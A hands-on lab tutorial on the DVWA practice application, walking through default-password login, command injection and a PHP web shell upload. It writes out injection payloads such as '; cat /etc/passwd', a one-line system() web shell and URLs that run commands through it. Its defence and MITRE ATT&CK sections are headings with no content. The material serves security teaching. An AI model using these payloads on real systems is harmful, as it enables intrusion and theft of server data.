DVWA: Brute Force, Command Injection
& File Upload Attacks

In this lab we explore three of the most commonly seen vulnerability categories in the real world. Each of these regularly appears in the OWASP Top 10 and in OSCP-style penetration testing exams. By the end of this lab you will understand how attackers exploit these weaknesses and — just as importantly — how defenders can stop them.

• Understand what a brute force attack is and successfully log in to DVWA by guessing the correct password
• Exploit a command injection vulnerability to run system commands on the server
• Upload a PHP web shell through an unrestricted file upload form
• Recognise the MITRE ATT&CK techniques associated with each attack
• Describe the correct defence for each vulnerability type

DVWA (Damn Vulnerable Web Application) is a free, open-source PHP/MySQL web application that is deliberately built full of security holes. It was created so that cybersecurity students and professionals can practise common web attack techniques in a safe, legal environment without risking real systems.

The Brute Force module in DVWA presents a simple login form. Because the application does not lock out accounts after failed attempts and does not use CAPTCHA, we can try many passwords until we find the right one. In this exercise we will manually identify the correct credentials.

Step 1 — Open the Brute Force Module

Log in to your DVWA instance and click Brute Force in the left-hand menu. You will see a basic login form with a Username and Password field.

Step 2 — Try Common Credentials

DVWA ships with a set of default credentials. In a real penetration test you would use a tool like Burp Suite Intruder or Hydra with a wordlist. For this exercise, try the username admin with the password password — one of the most common default credential pairs in the world.

# Common DVWA default credentials
Username: admin
Password: password

# Other common defaults to try:
admin / admin
admin / 123456
user  / user

Step 3 — Successful Login

After entering admin and password, click the Login button. The page will refresh and display the message "Welcome to the password protected area admin" — confirming that the brute force attack (or in this case, a single correct guess) was successful.

How to Defend Against Brute Force

The Command Injection module asks you to enter an IP address to ping. The server takes your input and passes it directly to the OS-level ping command — like this: ping -c 4 [your input]. Because the input is never sanitised, we can "escape" out of the ping command and run any OS command we like.

Step 1 — Test Normal Ping Behaviour

First, enter a normal IP address to see how the ping works. Type 127.0.0.1 in the input box and click Submit. You should see the normal ping output showing 4 packets transmitted and 0% packet loss.

Step 2 — Inject a Second Command (whoami)

Now we use the semicolon operator ; to append a second command after the ping. The semicolon tells the shell: "after the first command finishes, run the next one". Enter the following in the IP address field:

# Inject whoami after the ping to identify the server user
127.0.0.1 ; whoami

# Other useful operators:
127.0.0.1 && whoami   # runs whoami only if ping succeeds
127.0.0.1 |  whoami   # pipes ping output to whoami

Submit the payload. At the bottom of the ping output, the server will reveal the username of the process running the web server — for example ausjournal33 or www-data.

Step 3 — Read a File from the Server

With confirmed RCE, we can now read files on the server. Navigate to the CTF flag stored in the home directory by injecting a cat command. Enter the following payload:

# Read a specific file from the server
8.8.8.8 ; cat /home/ausjournal33/public_html/flag.txt

# Other useful recon commands:
127.0.0.1 ; ls -la /home          # list home directory
127.0.0.1 ; cat /etc/passwd       # read user accounts
127.0.0.1 ; uname -a             # OS version info

How to Defend Against Command Injection

The File Upload module allows users to upload a file to the server. On the Low security level, the application does no validation at all — it will accept any file type, including PHP scripts. An attacker can upload a PHP web shell and then browse to its URL to run commands on the server.

Step 1 — Navigate to File Upload

Click File Upload in the left-hand DVWA menu. You will see a simple file browser input and an Upload button.

Step 2 — Create a PHP Web Shell

On your Kali Linux machine, create a file called shell.php with the following content. This is the simplest possible PHP web shell — it takes a URL parameter called cmd and passes it to the system() function, which executes it on the server.

<?php
// Simple PHP web shell for educational use
// Usage: shell.php?cmd=whoami
system($_GET['cmd']);
?>

Step 3 — Upload the Shell

Click the Browse button on the File Upload page and select your shell.php file. Click Upload. The server will respond with a success message similar to:

../../hackable/uploads/shell.php succesfully uploaded!

This tells us the exact path where the file was saved on the server.

Step 4 — Execute Commands via the Web Shell

Now visit the uploaded shell in your browser by navigating to the uploads directory. Replace [dvwa-host] with your DVWA URL:

# Basic test — who is running the web server?
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=whoami

# Read the passwd file
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=cat+/etc/passwd

# List all files in the web root
https://[dvwa-host]/dvwa-naps/hackable/uploads/shell.php?cmd=ls+-la+/var/www/html

How to Defend Against File Upload Attacks

The MITRE ATT&CK framework is a global knowledge base of adversary tactics and techniques. Security professionals use it to describe attacks in a standard language. Here is how today's lab maps to ATT&CK:

Each attack in this lab exploits a missing defence. Here is a quick summary of what a secure application would do differently:

A special thank-you to the talented and dedicated students who worked through this lab and contributed to its development. Your curiosity and hard work make this series possible. 🎓